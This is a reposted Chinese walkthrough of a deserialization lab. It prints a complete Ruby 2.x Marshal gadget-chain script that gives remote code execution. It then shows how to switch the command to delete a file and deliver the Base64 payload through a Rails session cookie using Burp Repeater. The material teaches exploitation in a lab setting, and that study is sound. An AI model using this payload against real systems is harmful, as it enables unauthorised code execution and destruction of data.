ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

Lab: Exploiting Ruby deserialization using a documented gadget chain:使用小工具链利用 Ruby 反序列化(Ruby 2.x Uni

2021-08-23 15:34:30  阅读:334  来源: 互联网

标签:end puts specific file RCE 序列化 Ruby Gem


靶场内容:

本实验使用基于序列化的会话机制和 Ruby on Rails 框架。有一个记录的漏洞利用可以通过此框架中的小工具链实现远程代码执行。

要解决实验室问题,请查找记录的漏洞利用并对其进行调整以创建包含远程代码执行有效负载的恶意序列化对象。然后,将此对象传递到网站以morale.txt从 Carlos 的主目录中删除该文件。

解决方法:

  • 登录到您自己的帐户并注意会话 cookie 包含一个序列化("marshaled")Ruby 对象。将包含此会话 cookie 的请求发送到 Burp Repeater。
  • 浏览网络以找到 Luke Jahnke 的“Ruby 2.x Universal RCE Gadget Chain”
#!/usr/bin/env ruby

class Gem::StubSpecification
  def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
  def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

  • 复制用于生成有效负载的脚本,并将应执行的命令(在stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")中的id)从id更改为rm /home/carlos/morale.txt并运行脚本。这将生成一个包含有效负载的序列化对象。输出包含对象的十六进制和 Base64 编码版本。
    image
  • 复制 Base64 编码的对象。
  • 对对象进行 URL 编码,然后在 Burp Repeater 中,将您的会话 cookie 替换为您刚刚创建的恶意 cookie。
    image
  • 发送解决实验室的请求。

标签:end,puts,specific,file,RCE,序列化,Ruby,Gem
来源: https://www.cnblogs.com/Zeker62/p/15176062.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有